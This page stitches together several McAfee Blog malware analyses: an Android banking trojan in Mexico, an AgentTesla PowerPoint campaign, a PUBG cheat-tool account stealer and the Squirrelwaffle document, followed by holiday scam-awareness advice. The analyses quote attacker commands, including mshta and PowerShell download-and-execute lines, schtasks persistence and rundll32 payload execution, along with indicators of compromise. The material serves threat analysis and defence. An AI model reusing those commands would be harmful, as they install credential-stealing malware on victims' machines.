The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string. 

Appendix – Technical Data and IOCs 

The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blog.

Authored by Fernando Ruiz

McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico. 

McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants. 

How does this malware spread? 

The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet. 

Here’s how to protect yourself 

During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible. 

Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats: 

• Employ security software on your mobile devices  
• Think twice before downloading and installing suspicious apps especially if they request SMS or Notification listener permissions. 
• Use official app stores however never trust them blindly as malware may be distributed on these stores too so check for permissions, read reviews and seek out developer information if available. 
• Use token based second authentication factor apps (hardware or software) over SMS message authentication 

Interested in the details? Here’s a deep dive on this malware 

Behavior: Carefully guiding the victim to provide their credentials 

Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app: 

– Fake Tool to report fraudulent movements that creates a sense of urgency: 

“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically. 

At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.” 

– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security: 

“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials. 

If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does. 

Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor. 

In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.  

In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data. 

Table Headers: Date, From, Body Message, User, Password, Id: 

This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development. 

IoC 

SHA256: 

• 84df7daec93348f66608d6fe2ce262b7130520846da302240665b3b63b9464f9 
• b946bc9647ccc3e5cfd88ab41887e58dc40850a6907df6bb81d18ef0cb340997 
• 3f773e93991c0a4dd3b8af17f653a62f167ebad218ad962b9a4780cb99b1b7e2 
• 1deedb90ff3756996f14ddf93800cd8c41a927c36ac15fcd186f8952ffd07ee0 

Domains: 

• https[://]appmx2021.com 

The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns. 

During Q2, 2021, we have seen an increase in PowerPoint malware. 

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”. 

PPAM file: 

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.  

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros. 

Technical Analysis: 

Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file. 

 The PPAM file contains the following files and directories which can be seen upon extraction. 

• _rels\.rels 
• [Content_Types].xml 
• ppt\rels\presentation.xml.rels 

• ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file 
• ppt\presentation.xml 

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity. 

As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded. 

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API. 

Below are the parameters passed to CreateProcessA() API: 

kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D, 

Below is the command line parameter of mshta: 

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis. 

Later mshta.exe spawns powershell.exe as a child process. 

Below is the command line parameters of PowerShell: 

powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB); 

PowerShell downloads and executed script files from the above-mentioned URLs.  

The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”: 

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself. 

Schedule Tasks: 

To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.   

The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%[email protected]/p/27.html” and it’s called every 80 minutes.  

Below is the command line parameters of schtasks: 

schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%[email protected]/p/27.html\“” 

Infection Chain: 

Process Tree: 

Mitigation: 

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have  DAT coverage for this variant of malware. 

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.  

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN! 

Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack. 

Expert Rule authored based on the below infection chain: 

POWERPNT.EXE –> mshta.exe  

Expert Rule: 

Rule { 

  Process { 

    Include OBJECT_NAME { -v “powerpnt.exe” } 

  } 

  Target { 

    Match PROCESS { 

       Include OBJECT_NAME { -v “mshta.exe” } 

       Include PROCESS_CMD_LINE { -v “**http**” } 

       Include -access “CREATE” 

    } 

  } 

} 

IOCs 

URLs: 

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

hxxp:// //1230948%[email protected]/p/27.html 

hxxps://p8hj[.]blogspot[.]com/p/27.html 

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt 

EML files: 

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3 

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0 

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253 

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files: 

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3 

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b 

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd 

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d 

Extracted AgentTesla files: 

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99 

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371 

The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.

Authored by: Wenfeng Yu

McAfee Mobile Research team recently discovered a new piece of malware that specifically steals Google, Facebook, Twitter, Telegram and PUBG game accounts. This malware hides in a game assistant tool called “DesiEsp” which is an assistant tool for PUBG game available on GitHub. Basically, cyber criminals added their own malicious code based on this DesiEsp open-source tool and published it on Telegram. PUBG game users are the main targets of this Android malware in all regions around the world but most infections are reported from the United States, India, and Saudi Arabia. 

What is an ESP hack? 

ESP Hacks, (short for Extra-Sensory Perception) are a type of hack that displays player information such as HP (Health Points), Name, Rank, Gun etc. It is like a permanent tuned-up KDR/HP Vision. ESP Hacks are not a single hack, but a whole category of hacks that function similarly and are often used together to make them more effective. 

How can you be affected by this malware? 

After investigation, it was found that this malware was spread in the channels related to PUBG game on the Telegram platform. Fortunately, this malware has not been found on Google Play. 

Main dropper behavior 

This malware will ask the user to allow superuser permission after running: 

If the user denies superuser request the malware will say that the application may not work: 

When it gains root permission, it will start two malicious actions. First, it will steal accounts by accessing the system account database and application database.  

Second, it will install an additional payload with package name “com.android.google.gsf.policy_sidecar_aps” using the “pm install” command. The payload package will be in the assets folder, and it will disguise the file name as “*.crt” or “*.mph”. 

Stealing social and gaming accounts 

The dropped payload will not display icons and it does not operate directly on the screen of the user’s device. In the apps list of the system settings, it usually disguises the package name as something like “com.google.android.gsf” to make users think it is a system service of Google. It runs in the background in the way of Accessibility Service. Accessibility Service is an auxiliary function provided by the Android system to help people with physical disabilities use mobile apps. It will connect to other apps like a plug-in and can it access the Activity, View, and other resources of the connected app. 

The malware will first try to get root permissions and IMEI (International Mobile Equipment Identity) code that later access the system account database. Of course, even if it does not have root access, it still has other ways to steal account information. Finally, it also will try to activate the device-admin to difficult its removal. 

Methods to steal account information 

The first method to steal account credentials that this malware uses is to monitor the login window and account input box text of the stolen app through the AccessibilityService interface to steal account information. The target apps include Facebook (com.facebook.kakana), Twitter (com.twitter.android), Google (com.google.android.gms) and PUBG MOBILE game (com.tencent.ig) 

The second method is to steal account information (including account number, password, key, and token) by accessing the account database of the system, the user config file, and the database of the monitored app. This part of the malicious code is the same as the parent sample above: 

Finally, the malware will report the stolen account information to the hacker’s server via HTTP.  

Gaming users infected worldwide 

PUBG games are popular all over the world, and users who use PUBG game assistant tools exist in all regions of the world. According to McAfee telemetry data, this malware and its variants affect a wide range of countries including the United States, India, and Saudi Arabia:  

Conclusion 

The online game market is revitalizing as represented by e-sports. We can play games anywhere in various environments such as mobiles, tablets, and PCs (personal computers). Some users will be looking for cheat tools and hacking techniques to play the game in a slightly advantageous way. Cheat tools are inevitably hosted on suspicious websites by their nature, and users looking for cheat tools must step into the suspicious websites. Attackers are also aware of the desires of such users and use these cheat tools to attack them. 

This malware is still constantly producing variants that use several ways to counter the detection of anti-virus software including packing, code obfuscation, and strings encryption, allowing itself to infect more game users. 

McAfee Mobile Security detects this threat as Android/Stealer and protects you from this malware attack. Use security software on your device. Game users should think twice before downloading and installing cheat tools, especially when they request Superuser or accessibility service permissions. 

Indicators of Compromise 

Dropper samples 

36d9e580c02a196e017410a6763f342eea745463cefd6f4f82317aeff2b7e1a5

fac1048fc80e88ff576ee829c2b05ff3420d6435280e0d6839f4e957c3fa3679

d054364014188016cf1fa8d4680f5c531e229c11acac04613769aa4384e2174b

3378e2dbbf3346e547dce4c043ee53dc956a3c07e895452f7e757445968e12ef

7e0ee9fdcad23051f048c0d0b57b661d58b59313f62c568aa472e70f68801417

6b14f00f258487851580e18704b5036e9d773358e75d01932ea9f63eb3d93973

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

ff186c0272202954def9989048e1956f6ade88eb76d0dc32a103f00ebfd8538e

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

3726dc9b457233f195f6ec677d8bc83531e8bc4a7976c5f7bb9b2cfdf597e86c

e815b1da7052669a7a82f50fabdeaece2b73dd7043e78d9850c0c7e95cc0013d

Payload samples 

8ef54eb7e1e81b7c5d1844f9e4c1ba8baf697c9f17f50bfa5bcc608382d43778

4e08e407c69ee472e9733bf908c438dbdaebc22895b70d33d55c4062fc018e26

6e7c48909b49c872a990b9a3a1d5235d81da7894bd21bc18caf791c3cb571b1c

9099908a1a45640555e70d4088ea95e81d72184bdaf6508266d0a83914cc2f06

ca29a2236370ed9979dc325ea4567a8b97b0ff98f7f56ea2e82a346182dfa3b8

d2985d3e613984b9b1cba038c6852810524d11dddab646a52bf7a0f6444a9845

ef69d1b0a4065a7d2cc050020b349f4ca03d3d365a47be70646fd3b6f9452bf6

06984d4249e3e6b82bfbd7da260251d99e9b5e6d293ecdc32fe47dd1cd840654

Domain 

hosting-b5476[.]gq 

The post Social Network Account Stealers Hidden in Android Gaming Hacking Tool appeared first on McAfee Blog.

Authored By Kiran Raj

Due to their widespread use, Office Documents are commonly used by Malicious actors as a way to distribute their malware. McAfee Labs have observed a new threat “Squirrelwaffle” which is one such emerging malware that was observed using office documents in mid-September that infects systems with CobaltStrike.

In this Blog, we will have a quick look at the SquirrelWaffle malicious doc and understand the Initial infection vector.

Geolocation based stats of Squirrelwaffle malicious doc observed by McAfee from September 2021

Infection Chain

1. The initial attack vector is a phishing email with a malicious link hosting malicious docs
2. On clicking the URL, a ZIP archived malicious doc is downloaded
3. The malicious doc is weaponized with AutoOpen VBA function. Upon opening the malicious doc, it drops a VBS file containing obfuscated powershell
4. The dropped VBS script is invoked via exe to download malicious DLLs
5. Thedownloaded DLLs are executed via exe with an argument of export function “ldr”

Malicious Doc Analysis

Here is how the face of the document looks when we open the document (figure 3). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

UserForms and VBA

The VBA Userform Label components present in the Word document (Figure-4) is used to store all the content required for the VBS file. In Figure-3, we can see the userform’s Labelbox “t2” has VBS code in its caption.

Sub routine “eFile()” retrieves the LabelBox captions and writes it to a C:\Programdata\Pin.vbs and executes it using cscript.exe

Cmd line: cmd /c cscript.exe C:\Programdata\Pin.vbs

VBS Script Analysis

The dropped VBS Script is obfuscated (Figure-5) and contains 5 URLs that host payloads. The script runs in a loop to download payloads using powershell and writes to C:\Programdata location in the format /www-[1-5].dll/. Once the payloads are downloaded, it is executed using rundll32.exe with export function name as parameter “ldr”

De-obfuscated VBS script

VBS script after de-obfuscating (Figure-6)

MITRE ATT&CK

Different techniques & tactics are used by the malware and we mapped these with the MITRE ATT&CK platform.

• Command and Scripting Interpreter (T-1059)

Malicious doc VBA drops and invokes VBS script.

CMD: cscript.exe C:\ProgramData\pin.vbs

• Signed Binary Proxy Execution (T1218)

Rundll32.exe is used to execute the dropped payload

CMD: rundll32.exe C:\ProgramData\www1.dll,ldr

IOC

The post The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. appeared first on McAfee Blog.

Co-authored by: Sriram P and Deepak Setty

‘Tis the season for scams. Well, honestly, it’s always scam season somewhere. In 2020, the Internet Crime and Complaint Center (IC3) reported losses in excess of $4.1 billion dollars in scams which was a 69% increase over 2019. There is no better time for a scammer celebration than Black Friday, Cyber Monday, and the lead-up to Christmas and New Year. It’s a predictable time of the year, which gives scammers ample time to plan and organize. The recipe isn’t complicated, at the base we have some holiday excitement, sprinkle in fake shopping deals and add some discounts, and ho ho ho we have social engineering scams.

In this blog, we want to increase awareness related to scams as we expect elevated activity during this holiday season. The techniques used to scam folks are very similar to those used to spread malware too, so always be alert and use caution when browsing and shopping online. We will provide some examples to help educate consumers on how to identify scams. The victims of such scams can be others around you like your kids or parents, so read up and spread the word with family and friends. Awareness, education, and being alert are key to keeping you at bay from fraudsters.

Relevant scams this season

Although there is a myriad of scams out there, we expect the most common scams and targets this season to be:

1. Non-delivery scams – Fake online stores will attempt to get you to purchase items that you will never end up receiving
2. Deals that get shoppers excited. Supply chain issues recently will give scammers more fodder. Scammers can place bait deals on popular items
3. Elderly parents/grandparents looking for cheap medical equipment, medical memberships, or looking to purchase and ship their grandchildren presents for the holidays.
4. Emotionally vulnerable people might fall prey to romance scams
5. Children looking for free, Fortnite Vbucks and other gaming credits may fall prey to scams and could even get infected with potentially unwanted programs
6. Charity scams will be rampant.

SMSishing, email-based Phishing, and push notifications will be the most common vectors initiating scams during this holiday season. Here are some common tactics in use today:

1. Unbelievable deals or discounts

This is a common theme around this time of the year. Deals, discounts, and gift cards can be costly to your bank account. Be wary of URLs being presented to you over email or SMS. Phishing emails, bulk mailing, texting, and typo-squatting are some of the ways that scammers target their prey.

2. Creating a sense of urgency

Scammers will create a sense of urgency by telling you that you have limited time to claim the deal or that there is low inventory for popular items in their store. It’s not difficult for scammers to identify sought-after electronics items or holiday gifts for sale and offer them for sale on their fake stores. Such scams are believable given the supply chain challenges and delivery shortages over the last few months.

3. Utilizing Scare tactics

Getting people worried about a life-changing event or disrupting travel plans can be concerning. So, if you get an unexpected call from someone claiming to be from the FBI, police, IRS, or even a travel company, stop and think. They may be using scare tactics to dupe you. Never divulge personal information and if in doubt, ask them a lot of directed questions and fact check them. As an example, check to see if they know your home address, account number, itinerary number, or bank balance depending on who they claim to be. Scammers typically don’t have specific details and when put on the spot, they’ll hang up.

4. Emotional tactics

Like scare tactics, scammers may prey on vulnerable people. Although there can be many variations of such scams, the more common ones are Romance Scams where you end up connecting to someone with a fake profile, and Fake Charity Scams where you receive a phone call or an email requesting a donation. Do not entertain such requests over the phone especially if you receive a phone call soliciting a donation. During the conversation, they will attempt to make you feel guilty or selfish for not contributing enough. Remember, there is no rush to donate. Go to a reputable website or a known organization and donate if you must after due diligence.

Tips to identify a scam

Successful scams are situationally accurate. You may be the smartest guy in the room, but when you eagerly waiting for that delivery and you see an email update claiming a delivery delay from UPS, you might fall for a scam. This is particularly true in the holiday season and therefore such themes are more prevalent. Here are some tips on how to identify scams early on.

1. Be suspicious of anything that is pushed to you from an unknown source – emails, SMS, advertisements, phone calls, surveys, social media. This is when you are being solicited to do something you might not have otherwise chosen to
   1. Avoid going to unknown websites to begin with. You always have the option to r before you click on a link. You can always use some of the following trusted free resources to validate a domain or business
      1. https://trustedsource.org/ – to look up a URL
      2. https://www.virustotal.com/gui/home/url – to look up a URL
      3. https://www.bbb.org/ – to validate a business, charity, etc
      4. https://whois.domaintools.com/ – to look up site history. A new or recent domain is less trustworthy. Scammers register new domains based on the theme of their scams.
   2. If you do end up navigating, look for the following to build trust in a link:
      1. Ensure it’s an “https” domain versus an “http”. A valid “https” certificate just means that your data is encrypted enroute to the website. Although this method isn’t indicative of a scam, some scams are hosted on compromised “http” sites. (example 1))
      2. Closely look at the domain name. They might be indicative of fakes. Scammers would typically register domains with very similar names to deceive you. For example, Amazon.com could be replaced by Arnazon.com or AMAZ0N.com. ‘vv’ could be replaced for ‘w’, ‘I’ for a 1, etc. Same goes for emails you receive – take a close look
      3. Another common way of reaching a fake website is due to “typosquatting” but this is typically human error, where a user may type an incorrect domain name and reach a fake site.
      4. Most legit sites will have a “Contact us”, “About Us”, “Conditions of Use”, “Privacy Notice”/”Terms”, “Help”, Social Media presence on Twitter, FB, Instagram, etc. Read up on the pages to learn about the website and even look for website reviews before you make a purchase. Fake websites do not invest a lot of time to populate these – this could be a giveaway.
   3. Always confirm the sender of and email or text by validating the email address or phone number. For example, if an email claims to be from BankOfAmerica, you would expect their email domain in most cases to be from “@bankofamerica.com” and not from “@gmail.com”. Avoid clicking on links from emails or messages when you don’t know the sender.
   4. If you end up linking to a page because of an email or message, never provide personal details. Any site asking for such information should raise red flags. Even if the site looks legit, Phishing scammers make exact replicas of web pages and try to get you to login. This allows them to steal your login credentials. (Example 4)
   5. Don’t feel pressured to click on a link or provide details to solicitors in such cases especially. Any attempt to gather personal data is a big NO.
   6. Never open attachments from unknown people. Emails with document attachments or PDF Attachments are very popular in spreading malware. The attachment names are typically very enticing to click on. Names like “invoice.pdf”, “receipt.doc”, “Covid-19 test results.doc”, etc. may invite some curiosity but could also lead to malware.
   7. Ensure you review the hyperlink before you click them. It’s easy to fake the text and get you to an illegit page (Example 2)
   8. Anyone who insists on payments using a pre-paid gift card or wire transfer, instead of your typical credit card is most likely attempting to scam you.

2. The end goal of a scammer is that they want to make money – so be alert with your cards and their activity.
   1. Avoid using Debit Cards online. Use a prepaid or virtual Credit Card or even better utilize Apple Pay, Google Pay or PayPal for online payments. Payment card services today have advanced fraud monitoring systems
   2. Check CC statements often to look for any unanticipated charges.
   3. If you make a purchase, ensure you have a tracking number and monitor shipments
   4. Disable international purchases if you know you won’t be traveling.
   5. Never wire money directly to anyone you do not know.

What if you are a victim?

If you believe that you have been a victim of a scam, here are a few tips that might help.

1. First, get in touch with your Credit Card company and tell them to put a hold on your card. You can dispute any suspicious charges and request an issue of a chargeback
2. If you have been scammed through popular sites like ebay.com or amazon.com – contact them directly. If you wired money, contact the wire company directly
3. File a Police Report. If you gave your personal information away, you might want to go to
   1. US – https://www.identitytheft.gov/
   2. UK – www.cifas.org.uk
4. Notify and contribute – build awareness
   1. US
      1. https://reportfraud.ftc.gov/#/?pid=A – (877) 382-4357
      2. https://www.bbb.org/
      3. https://www.ic3.gov/
      4. https://www.fbi.gov/scams-and-safety
   2. UK
      1. https://www.actionfraud.police.uk/ – 0300 123 2040
      2. https://www.gov.uk/find-local-trading-standards-office
      3. https://www.citizensadvice.org.uk/

Example scams:

Example 1: Fake SMS messages

It’s become more common recently to receive text messages for scammers. The following few text messages demonstrate SMSishing attempts.

1. The first is an attempt to gather Bank Of America details. For the scammer, it’s a shot in the dark. Given, the target is a US number, he attempts to use the phone number that he is sending the text to, as a bank account number and provides a link to a bit.ly page (a URL shortening service) to link to a fake page that poses as a Bank of America login. A successful SMSish would be if the victim entered their details.

2. The following are fake texts that attempt to entice you click the link. The bait is the Gift card. One can tell that they are a similar theme since they originate from fake phone numbers, which are very similar but not exact. The domain names of the two URLs are totally random (probably compromised URLs). You can tell that back in October, the full URL based SMShing attempts were not very effective which is why in Nov, they probably used keywords like “COSTCO” and “ebay” within the URL and inline to their SMS context, to make it more likely for people to click.

Also note that some of the URLs only have an “http” versus a “https”, something we had noted earlier in the blog.

Example 2: Fake email link

One cannot trust an email by the text. You should review the link to ensure it takes you to where it claims to. The following is an example email where the link is not what it claims to be.

Example 3: Fake Store Scam hosted on Shopify

Shopify is a Canadian multinational e-commerce company. It offers online retailers a suite of services, including payments, marketing, shipping, and customer engagement tools.

So, where there is money to be made, individuals are looking to take advantage. Shopify scam targets both consumers and business owners. Scammer abuse the power of e-commerce to earn money by implementing fake stores. They observe the product or category, create an attractive logo or image and promote extensively on social media.

Fake Bike Online Purchase store – Mountain-ranger-com

Site: hxxps://mountain-ranger-com.myshopify.com/collections/all

SSL info:

This site is hosted on Shopify, so it has a valid SSL cert which is the first thing we check on where we transact.

Whois Record ( last updated on 2021-11-19 )

Domain Name: myshopify.com
Registry Domain ID: 362759365_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2021-03-02T23:39:12+0000
Creation Date: 2006-03-03T03:01:37+0000
Registrar Registration Expiration Date: 2024-03-02T08:00:00+0000
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895770
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registrant Organization: Shopify Inc.
Registrant State/Province: ON
Registrant Country: CA
Registrant Email: Select Request Email Format

The registrar info for the site is valid too, as it is hosted on Shopify. If you look closer, however, one will notice red flags:

1. Compare these prices listed on other known sites like amazon: Price listed on the fake site versus price listed on Amazon. This is an “unbelievable” deal.

Examples of similar sites showing incredible discounts.

2. The “About Us” doesn’t make much sense when you see the products that are being offered:

A quick google on the text shows that multiple sites are using the same exact text (most of them probably fake)

3. There are no customer reviews about the products listed.

4. It has a public email server (gmail) in its return policy

5. Looking up the list address in google maps wouldn’t show up anything and looking up the number in apps like true caller shows it’s fake.

Example 4: Social Engineering to Steal Credentials

The goal of this scam is to steal credentials however it could as well be used as a malware delivery mechanism. The screenshot is that of a fake business proposal hosted on OneDrive Cloud for phishing purposes.

The actor aims to mislead the user into clicking on the above reference link. When the user clicks on the link, it redirects to a different website that displays the below fake OneDrive screenshot.

hxxps://aidaccounts[.]com/11/verified/22/

If a user enters their OneDrive details, the actors receive them at their backend. This means that this victim has lost their login credentials to the phishing actors. Look at the address bar and trust your instincts. This is in no way related to Microsoft OneDrive. There are other such examples where they do some additional plumbing of the URL to include keywords that make it more believable – as they did in the SMSishing example above.

Example 5: Fake Push Notification for surveys

The goal here is to get the user to accept push notifications. Doing so makes the customer susceptible to other possible scams. In this example, the scammers attempt to get users to fill out surveys. Legit companies online pay users for surveys. A referral code is used to pay the survey taker. The scammer in this case attempts to get others to fill the survey on their behalf and therefore makes money when such surveys use the scammer’s referral code. Push notifications are used to get the victims to fill out surveys. Previous blogs from McAfee demonstrate similar scams and how to prevent such notifications

The initial vector comes to the victim via a spam email with a PDF Spam attachment. In this scenario, Gmail was used as the sender.

Upon opening the PDF, a fake online PUBG (Players Unknown Battleground) credits generator gets opened. In PUBG, Gamers need credits to participate in various online games and so this scam baits them offering free credits.

Once the user clicks on the bait URL, it opens a google feed proxy URL.

Malicious websites are destined to be block-listed and therefore have short shelf lives. Google’s feed proxy redirects them in adapting to new URLs and therefore utilizes a fast-flux mechanism as a technique to keep the campaign alive. Usage of feed proxy are not new and we have highlighted its use in the past by the hancitor botnet.

Clicking on the top highlighted URL, it navigates to a webpage that poses as a PUBG Arcane online credit generator.

To make the online generator look real, the website has added fake recent activities highlighting coins users have earned via this generator. Even the add comments section is fake.

Clicking on continue will bring up a fake progress bar. Now the site shows the coins and cash are ready, however, an automated human verification has failed, and a survey has to be taken up for getting the reward.

A clickable link for this verification is also loaded. Once clicked, a small dialog with 3 options are presented.

Clicking on “want to become a millionaire” loaded a survey page and prompts you to take it up. It will also prompt you to allow push notifications from this website.

Once you click on “Allow”, notifications to take up a survey or fake personalized offer notifications start popping up. Be it on your desktop or on your mobile, these notifications pop-ups to take up more surveys.

Clicking on the other links too from “Human Verification”, you will realize that you have finally ended up not gaining anything for your PUBG Arcane gaming, but ended up taking surveys.

Here is another example of a PDF theme we have seen as a lure on the Lenovo tablet offer.

